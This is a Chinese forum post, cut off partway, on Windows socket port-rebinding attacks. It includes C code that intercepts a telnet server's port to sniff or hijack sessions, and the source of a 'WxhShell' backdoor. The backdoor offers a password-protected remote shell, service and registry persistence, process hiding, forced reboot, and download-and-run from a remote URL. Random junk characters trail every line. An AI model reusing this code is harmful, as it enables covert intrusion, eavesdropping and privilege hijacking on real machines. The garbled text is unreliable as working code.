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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )._;~z!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q4:o#K#  
_[c0)2h  
  saddr.sin_family = AF_INET; =JEv,ZGT3  
6:[dj*KGmT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VU(v3^1"  
EF[@$j   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {_[N<U:QT&  
W0@n/U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %COX7gV  
eK?MKe  
  这意味着什么?意味着可以进行如下的攻击: t7Iv?5]N  
HZC"nb}r4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v6bGjVK[  
uK"=i8rs4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5oW!YJg  
P|tO<t6/9*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *xxx:*6rk;  
KE5kOU;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1 ~Y<//5E  
qpP=K $  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ooj,/IEQ  
!Y0Vid  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 30#s aGV  
/tx]5`#@7]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TOB-aAO  
I(L,8n5  
  #include ? r "{}%  
  #include |^"1{7)  
  #include )Xz,j9GzJS  
  #include    JxdDC^> 0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NdA[C|_8}f  
  int main() ]___M  
  { !&y8@MD15  
  WORD wVersionRequested; ~*&H$6NJS  
  DWORD ret; Ju!]&G8  
  WSADATA wsaData; <e=#F-DE  
  BOOL val; #Yj1w  
  SOCKADDR_IN saddr; ~?Qe?hB  
  SOCKADDR_IN scaddr; S}m)OmrmA  
  int err; YW,tCtI0_  
  SOCKET s; Cx@);4arj  
  SOCKET sc; n`?aC|P2s  
  int caddsize; 1y@i}<9F  
  HANDLE mt; ;40/yl3r3[  
  DWORD tid;   Fx_z6a  
  wVersionRequested = MAKEWORD( 2, 2 ); %A9NB!  
  err = WSAStartup( wVersionRequested, &wsaData ); ]3],r?-tJ  
  if ( err != 0 ) { 0y'H~(  
  printf("error!WSAStartup failed!\n"); :1. L}4"gg  
  return -1; shy-Gu&  
  } mA}TJz  
  saddr.sin_family = AF_INET; {yTGAf-DV  
   [[Ls_ZL!=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F3[T.sf  
^+>laOzC`8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .GP T!lDc  
  saddr.sin_port = htons(23); YNyk1cE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  j|DsG,  
  { ` xEx^P^7  
  printf("error!socket failed!\n"); X Swl Tg  
  return -1; g#pr yYz  
  } FBe;1OU  
  val = TRUE; 9]([\%)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (&Kk7<#`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x/I%2F  
  { B?gOHG*vd>  
  printf("error!setsockopt failed!\n"); Drgv`z  
  return -1; +< Nn~1  
  } >^?u .gM3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `t>l:<@%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iJ)_RSFK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9IdA%RM~mH  
\$~|ZwV{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #K_ii)n  
  { [B*x-R[FI  
  ret=GetLastError(); HTv2#  
  printf("error!bind failed!\n"); vFzRg5lH  
  return -1; ^qvZXb  
  } !I{0 _b{  
  listen(s,2); p}z<Fdu 0  
  while(1) hn7# L  
  { ~f&E7su-6+  
  caddsize = sizeof(scaddr); + /4A  
  //接受连接请求  L^/5ux  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e9Wa<i 8  
  if(sc!=INVALID_SOCKET) hE'-is@7  
  { [: n'k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +5g_KS  
  if(mt==NULL) &T?RZ2  
  { P-9)38`5  
  printf("Thread Creat Failed!\n"); kr^P6}'  
  break; q5J5>  
  } Gt8M&S-;  
  } X&.ArXn*  
  CloseHandle(mt); *2>&"B09`  
  } ;>U2|>5V  
  closesocket(s); '2A)}uR  
  WSACleanup(); 3V+] 9;  
  return 0; z}77Eh<  
  }   "b~+;<}Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) r Xt}6[S  
  { g>E LGG |Q  
  SOCKET ss = (SOCKET)lpParam; TM__I\+Q  
  SOCKET sc; 60^`JVGWH  
  unsigned char buf[4096]; .Bl\Z  
  SOCKADDR_IN saddr; K C*e/J  
  long num; /wGM#sFH  
  DWORD val; UP$.+<vm  
  DWORD ret; TNT4<5Ol6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =g7x' kN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r(>@qGN  
  saddr.sin_family = AF_INET; CCs%%U/=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ch*8B(:  
  saddr.sin_port = htons(23); gmUz9P(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T= 80,  
  { nmee 'oEw  
  printf("error!socket failed!\n"); |"q5sym8Y_  
  return -1; {LI=:xJJv  
  } rm'SOJVA  
  val = 100; np|Sy;:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f=+mIZ  
  { `$Y.Y5mGtJ  
  ret = GetLastError(); &~cBNw|  
  return -1; ^)/0yB  
  } gi3F` m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v4!VrI  
  { % "i(K@  
  ret = GetLastError(); d(ZO6Nr Q  
  return -1; &N$<e(K  
  } ~p6 V,Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9Z$"K-G  
  { pHGYQ;:L  
  printf("error!socket connect failed!\n"); 7uqzm  
  closesocket(sc); w?PkO p  
  closesocket(ss); $j%'{)gK  
  return -1; -u+vJ6EY  
  } 8L=HW G!1  
  while(1) ^ 'MT0j  
  { dZl5Ic  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7DogM".}~Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |w~nVRb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6D;Sgc5"  
  num = recv(ss,buf,4096,0); }^WdJd]P  
  if(num>0) P-_6wfg,;>  
  send(sc,buf,num,0); b<[Or^X ]  
  else if(num==0) 94`7a<&ZNL  
  break; [-1^-bb  
  num = recv(sc,buf,4096,0); 6?gW-1mY  
  if(num>0) GRIti9GD  
  send(ss,buf,num,0); jxJ8(sr$  
  else if(num==0) _IHV7*u{;  
  break; Wx%H%FeK  
  } h]&GLb&<?  
  closesocket(ss); F@7jx:tI  
  closesocket(sc); 23eX;gL  
  return 0 ; w>&aEv/f  
  }  R Z?jJm$  
edq4D53  
VR8-&N  
========================================================== ;W )Y OT  
#powub  
下边附上一个代码,,WXhSHELL u(.e8~s8  
qbN =4  
========================================================== ^$jb7HMObI  
Lnl(2xD  
#include "stdafx.h" 'W^YM@  
OX0%C.K)hZ  
#include <stdio.h> z6\UGSL  
#include <string.h> /)>3Nq4Zx  
#include <windows.h> q-2Bt,Y  
#include <winsock2.h> m4Qh%}9%  
#include <winsvc.h> 3,3N^nSD  
#include <urlmon.h> !dnH 7 "  
Xza(k  
#pragma comment (lib, "Ws2_32.lib") wH&!W~M  
#pragma comment (lib, "urlmon.lib") 7M~K,E(7~  
CAWNDl4  
#define MAX_USER   100 // 最大客户端连接数 %JBz5G  
#define BUF_SOCK   200 // sock buffer R4cM%l_#W  
#define KEY_BUFF   255 // 输入 buffer nPl?K:(  
_4So{~Gf1  
#define REBOOT     0   // 重启 &i6mW8l  
#define SHUTDOWN   1   // 关机 n0 {i&[I~+  
9wwqcx)3(  
#define DEF_PORT   5000 // 监听端口 '[:D$q;  
U(g:zae  
#define REG_LEN     16   // 注册表键长度 L|xbR#v  
#define SVC_LEN     80   // NT服务名长度 sY Qk  
YnAm{YyI  
// 从dll定义API nh>vixe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8qTys8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'G4ICtHQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^"2J]&x`G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Om\vMd@!  
5L%'@`mX  
// wxhshell配置信息 LckK\`mh  
struct WSCFG { mxC;?s;~  
  int ws_port;         // 监听端口 zu{P#~21  
  char ws_passstr[REG_LEN]; // 口令 1~ 3_^3OT  
  int ws_autoins;       // 安装标记, 1=yes 0=no  }q`S$P;  
  char ws_regname[REG_LEN]; // 注册表键名 #OD/$f_  
  char ws_svcname[REG_LEN]; // 服务名 ,m:.-iy?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & l&:`nsJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3yF,ak {Sl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E,U+o $  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,T$U'&;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +gtbcF@rx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mSF(q78?  
E A1?)|}n  
}; WiR(;m<g  
]72`};  
// default Wxhshell configuration *zvx$yJ?  
struct WSCFG wscfg={DEF_PORT, (exa<hh  
    "xuhuanlingzhe", b9HtR-iR;  
    1, 6j]0R*B7`Q  
    "Wxhshell", m8hk:4Ae  
    "Wxhshell", />pI8 g<  
            "WxhShell Service", _op}1   
    "Wrsky Windows CmdShell Service", <)c)%'v  
    "Please Input Your Password: ", 9IfmW^0  
  1, X *"i6 *  
  "http://www.wrsky.com/wxhshell.exe", ??vLUv  
  "Wxhshell.exe" &.Qrs :U  
    }; {@{']Y  
dOH &  
// 消息定义模块 051 E6-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _9Te!gJ4_#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,i`,Oy(BI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A[{yCn`tM  
char *msg_ws_ext="\n\rExit."; CxW>~O:  
char *msg_ws_end="\n\rQuit."; ^%{7}g&$u  
char *msg_ws_boot="\n\rReboot..."; D.u{~  
char *msg_ws_poff="\n\rShutdown..."; mL{6L?  
char *msg_ws_down="\n\rSave to "; KBc1{adDx@  
)g%d:xI  
char *msg_ws_err="\n\rErr!"; `e&Suyf4B  
char *msg_ws_ok="\n\rOK!"; FGmb<z 2p  
<=/hi l  
char ExeFile[MAX_PATH]; L^?qOylu  
int nUser = 0; +lcbi  
HANDLE handles[MAX_USER]; 4p;`C  
int OsIsNt; -- 95Jz  
#r\4sVg  
SERVICE_STATUS       serviceStatus; .|fH y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4!yzsPJL  
`mJ6K&t$<  
// 函数声明 j>"@,B g*  
int Install(void); J<h $ wM  
int Uninstall(void); `l[c_%Bm  
int DownloadFile(char *sURL, SOCKET wsh); .?sx&2R2  
int Boot(int flag); SZ'R59Ee<  
void HideProc(void); flbd0NB  
int GetOsVer(void); ;$wVu|&  
int Wxhshell(SOCKET wsl); Wt-GjxGi  
void TalkWithClient(void *cs); bJTBjS-7  
int CmdShell(SOCKET sock); :OT0yA=U  
int StartFromService(void); Y]2A&0  
int StartWxhshell(LPSTR lpCmdLine); qfm|@v|De5  
K?1W!fY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /7F:T[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Q4)X)F  
dcN22A3  
// 数据结构和表定义 _A9AEi'.  
SERVICE_TABLE_ENTRY DispatchTable[] = N S[l/0F&  
{ >} i  E(  
{wscfg.ws_svcname, NTServiceMain}, }|NCboM^_  
{NULL, NULL} Y.rsR 6  
}; e6$WQd`O  
y_-0tI\J  
// 自我安装 M!^az[[  
int Install(void) h3 }OX{k  
{ ?%[@Qb=2  
  char svExeFile[MAX_PATH]; '7 @zGk##(  
  HKEY key; Lnl=.z`jK  
  strcpy(svExeFile,ExeFile); T:yE(OBf  
Eo]xNn/g  
// 如果是win9x系统,修改注册表设为自启动 2pa5U;u:+  
if(!OsIsNt) { meO:@Z0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Y{L&A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `+:`_4  
  RegCloseKey(key); &d^m 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JP [K;/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )1`0PJoHE  
  RegCloseKey(key); >!1-lfa8  
  return 0; \"OG6G_>$  
    } Txb#C[`  
  } p6!x=cW  
} U8n V[  
else { f(y:G^V  
~U&AI1t+J  
// 如果是NT以上系统,安装为系统服务 P{ lB50  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q#9RW(o  
if (schSCManager!=0) JOeeU8C  
{ M&9+6e'-F  
  SC_HANDLE schService = CreateService ')<hON44EX  
  ( MeZf*' J  
  schSCManager, H9Q&tl9  
  wscfg.ws_svcname, &Hs!:43E-<  
  wscfg.ws_svcdisp, {8bSB.?R  
  SERVICE_ALL_ACCESS, -;WGS o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aHK}sr,U  
  SERVICE_AUTO_START, t&e{_|i#+  
  SERVICE_ERROR_NORMAL, .V8Lauz8  
  svExeFile, )|# sfHv7  
  NULL, dhK~O.~m  
  NULL, suDQ~\ n  
  NULL, Vp@?^imL  
  NULL, z9Rp`z&`E  
  NULL oE]QF.n#  
  ); Jij*x>K>y  
  if (schService!=0) V1B5w_^>h'  
  { mxdr,Idx  
  CloseServiceHandle(schService); #Ki[$bS~6  
  CloseServiceHandle(schSCManager); sdw(R#GE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IyG}H}  
  strcat(svExeFile,wscfg.ws_svcname); *VxgARIL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FJ)$f?=Qd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g{&ui.ml&  
  RegCloseKey(key); aO4?m+  
  return 0; {&1/V  
    } [S!/E4>['  
  } \(2sW^fY  
  CloseServiceHandle(schSCManager); 1#+S+g@#  
} 9CD_ os\h  
} v mk2{f,g  
nZYBE030  
return 1; 9~[Y-cpoi  
} }:)&u|d_  
Qq|57X)P*  
// 自我卸载 U&p${IcEm  
int Uninstall(void) aAUvlb  
{ +TDw+  
  HKEY key; vUM4S26"NT  
iGB}Il)  
if(!OsIsNt) { E hMNap}5"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2Gevj?F$  
  RegDeleteValue(key,wscfg.ws_regname); g]0_5?i  
  RegCloseKey(key); c yz3,3\e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {3aua:q  
  RegDeleteValue(key,wscfg.ws_regname); H9e<v4 c  
  RegCloseKey(key); T9   
  return 0; (<C3Vts))  
  } I b5rqU\  
} W7nw6;7=  
} O :Tj"@h  
else { 6T`i/".  
b OY |H~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d7bS wL  
if (schSCManager!=0) i=2N;sAl  
{ R4:b{)=O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f ) L  
  if (schService!=0) >~0Z& d  
  { Mb*?5R6;  
  if(DeleteService(schService)!=0) { aQ@oH#  
  CloseServiceHandle(schService); 92oFlEJ  
  CloseServiceHandle(schSCManager); 8KzkB;=n  
  return 0; `VguQl_,gA  
  } 1bwOm hkS  
  CloseServiceHandle(schService); ^^ixa1H<  
  } ' S/gmn  
  CloseServiceHandle(schSCManager); fe_5LC"  
} 3%b6{ie/=  
} GnJt0{  
G]&qx`TBK  
return 1; }Jj}%XxKs  
} nAlQ7 '  
KVa  
// 从指定url下载文件 |+D!= :x  
int DownloadFile(char *sURL, SOCKET wsh) KoT%Mfu  
{ FfT`;j  
  HRESULT hr; Wmv#:U  
char seps[]= "/"; 88$8d>-  
char *token; j^RmrOg ,  
char *file; l9Q- iJ  
char myURL[MAX_PATH]; ~})e?q;b  
char myFILE[MAX_PATH]; M kXmA`cP  
Y(Hs#Kn{  
strcpy(myURL,sURL); 'PW5ux@`<  
  token=strtok(myURL,seps); ")p\q:z6  
  while(token!=NULL) Z6MO^_m2  
  { !0<,@v"  
    file=token; 44j*KsBf  
  token=strtok(NULL,seps); SiN0OB  
  } ]u/sphPe  
h^P#{W!e\  
GetCurrentDirectory(MAX_PATH,myFILE); ) Hr`M B  
strcat(myFILE, "\\"); `r 4fm`<  
strcat(myFILE, file); XC#oB~K'  
  send(wsh,myFILE,strlen(myFILE),0); aV0"~5  
send(wsh,"...",3,0); ]\HvKCN}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b4Ekqas  
  if(hr==S_OK) +k R4E23:  
return 0; &m;*<}X  
else Bdpy:'fJn  
return 1; l,aay-E  
V0a3<6@4  
} w7&A0M  
k$:|-_(w  
// 系统电源模块 ~6md !o%i  
int Boot(int flag) )NT*bLRPQ  
{ (A.C]hD  
  HANDLE hToken; {R{=+2K!|k  
  TOKEN_PRIVILEGES tkp; EU Fa5C:  
]A_`0"m.U  
  if(OsIsNt) { j3ls3H&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0jWVp- y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4E}Yt$|  
    tkp.PrivilegeCount = 1; -m#)B~)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SUK?z!f <i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SSzIih@u  
if(flag==REBOOT) { E2+`4g@{8<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) buHJB*?9  
  return 0; $3kH~3{]  
} 7F~X,Dk_  
else { 9} .z;prz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) es0hm2HT3  
  return 0; sV*H`N')S  
} wVtwx0|1  
  } ChQx a  
  else { }c:M^Ff  
if(flag==REBOOT) { G=bCNn<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [()koU#w.  
  return 0; 5 SQ 8}Or3  
} [mueZQyI?0  
else { YuwI&)l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |;{6& S  
  return 0; 7 _[L o4_  
} -$Ih@2"6  
} ~)M~EX&pK  
Yx`n:0  
return 1; dqcL]e  
} %!#azI  
MiX43Pk]  
// win9x进程隐藏模块  4Wp=y  
void HideProc(void) uhq8   
{ ,<X9Y2B  
RPbZ(.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +aAc9'k   
  if ( hKernel != NULL ) I5W~g.<6  
  { ;5AcFB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IdN41  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U #0Cx-E  
    FreeLibrary(hKernel); 0PCGDLk8  
  } (^>J&[=  
%@Jsal'  
return; MnHNjsO#  
} ue>D 7\8  
/g.U&oI]D  
// 获取操作系统版本 ksm~<;td  
int GetOsVer(void) ,`sv1xwd  
{ UC$ppTCc?  
  OSVERSIONINFO winfo; yWf`rF{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b~cZS[S  
  GetVersionEx(&winfo); Pc]HP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^=*;X;7  
  return 1; ]I6  J7A[  
  else 0tJ Z4(0  
  return 0; _tycgq#  
} BFt> 9x]T  
o#N+Y?O  
// 客户端句柄模块 @'|~v <<WZ  
int Wxhshell(SOCKET wsl) qcRs$-J  
{ f?)-}\[IR{  
  SOCKET wsh; @E8+C8'  
  struct sockaddr_in client; >.D4co>  
  DWORD myID; u]G\H!Wk Q  
H%{+QwzZ[j  
  while(nUser<MAX_USER) 2>59q$ |  
{ #s9aI_  
  int nSize=sizeof(client); CNx8] _2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &,)&%Sg[  
  if(wsh==INVALID_SOCKET) return 1; IvNT6]6 P  
iJ|uvPCE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K|s, ru  
if(handles[nUser]==0) Y\hBd$lQ~  
  closesocket(wsh); 6E}qL8'5x  
else J,6yYIq  
  nUser++; HOJV,9v N  
  } :MDKC /mC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @KUWxFak  
/<BI46B\  
  return 0; *n"{J(Jt`  
} d0 /#nz  
ll?X@S  
// 关闭 socket (Awm9|.{+  
void CloseIt(SOCKET wsh) NZz8j^  
{ .tr!(O],h  
closesocket(wsh); H%lVl8oQ  
nUser--; W(/h Vt  
ExitThread(0); HLi%%"'  
} XB5DPx  
\.}c9*)  
// 客户端请求句柄 9MqGIOQ${j  
void TalkWithClient(void *cs) NyuQMU  
{ e8 b:)"R  
6d~'$<5on  
  SOCKET wsh=(SOCKET)cs; n._-! WI  
  char pwd[SVC_LEN]; N4HqLh23H  
  char cmd[KEY_BUFF]; ?Ss!e$jf  
char chr[1]; ]J]h#ZHx  
int i,j; PmM3]xVzd  
2b8L\$1q  
  while (nUser < MAX_USER) { QSf|nNT  
+qdEq_ m  
if(wscfg.ws_passstr) { |sZHUf_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|oh.z_R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f`66h M[  
  //ZeroMemory(pwd,KEY_BUFF); 9(<@O%YU  
      i=0; Yu`~U,m  
  while(i<SVC_LEN) { r:TH]hs12+  
wwcBsJ1{  
  // 设置超时 0C ,`h `  
  fd_set FdRead; ,MIV=*  
  struct timeval TimeOut; 7Fsay+a  
  FD_ZERO(&FdRead); @9|hMo  
  FD_SET(wsh,&FdRead); ] @fk] ]R  
  TimeOut.tv_sec=8; |(^PS8wG  
  TimeOut.tv_usec=0; f6"Z'{j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IO:G1;[/2L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y\'}a+:@Ph  
+x}<IS8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fv`,3aNB  
  pwd=chr[0]; sW8dPw O  
  if(chr[0]==0xd || chr[0]==0xa) { "tpSg  
  pwd=0; `5Zz5V  
  break; T^]}Oy@e,J  
  } Nmh*EAJSy  
  i++; B4 }bVjs  
    } JOBhx)E  
[z9Z5sLO  
  // 如果是非法用户,关闭 socket '@P^0+B!(.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y1L,0 ]  
} }\k"n{!"  
A\5L 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C$)onk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l%i+cOD  
x'R`. !g3  
while(1) { x ]ot 2  
"kqPmeI  
  ZeroMemory(cmd,KEY_BUFF); hP&B t  
U~7c+}:c  
      // 自动支持客户端 telnet标准   ufT`"i  
  j=0; II x#2r  
  while(j<KEY_BUFF) { uY'HT|@:{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7. ;3e@s  
  cmd[j]=chr[0]; y"wShAR  
  if(chr[0]==0xa || chr[0]==0xd) { -z(+//K:#  
  cmd[j]=0; )w%!{hn  
  break; \dQNLLg/  
  } g eCM<]  
  j++; K", N!koj  
    } r]36z X v  
k"w"hg&e  
  // 下载文件 k|d+#u[Mj@  
  if(strstr(cmd,"http://")) { $* Kvc$D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v|2T%y_ u  
  if(DownloadFile(cmd,wsh)) iAU@Yg`pt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =w0R$&b&  
  else :*\Pn!r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bA->{OPkT  
  } 45>?o  
  else { {Y9q[D'g.  
o{[YA} xc  
    switch(cmd[0]) { IPo?:1x]s  
   ; 4~hB  
  // 帮助 W5MTD]J   
  case '?': { Q]>.b%s[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q5:N2Jmo?z  
    break; pyvSwD5t  
  } HyWCMK6b  
  // 安装 ?6Y?a2 |  
  case 'i': { D}/vLw:v  
    if(Install()) a:6m7U)P#5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tnm.A?  
    else M =r)I~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5XB H$&Td  
    break; TRq6NB  
    } yz8jw:d^-  
  // 卸载 L;I]OC^J  
  case 'r': { sLQ^F  
    if(Uninstall()) 8X|-rM{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_Q+&9^/  
    else 0"bcdG<}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ea')$gR  
    break; 'b{]:Y  
    } `W*U4?M  
  // 显示 wxhshell 所在路径 D}X\Ca"h  
  case 'p': { 8-77d^cprR  
    char svExeFile[MAX_PATH]; 'Qe;vZ31K  
    strcpy(svExeFile,"\n\r"); @s2y~0}#  
      strcat(svExeFile,ExeFile); 'q:`? nJ^  
        send(wsh,svExeFile,strlen(svExeFile),0); :6\qpex  
    break; :20W\P<O!A  
    } Ciz X<Cr}  
  // 重启 3/n5#&c\4  
  case 'b': { Jze:[MYS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JFk lUgg  
    if(Boot(REBOOT)) 9-*uPK]m9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); omBoo5e  
    else { <W$mj04@  
    closesocket(wsh); Z?m3~L9L2  
    ExitThread(0); `+Q%oj#FF  
    } ]GQG~ H^  
    break; Q$@I"V&G.  
    } "1 M[5\Ax  
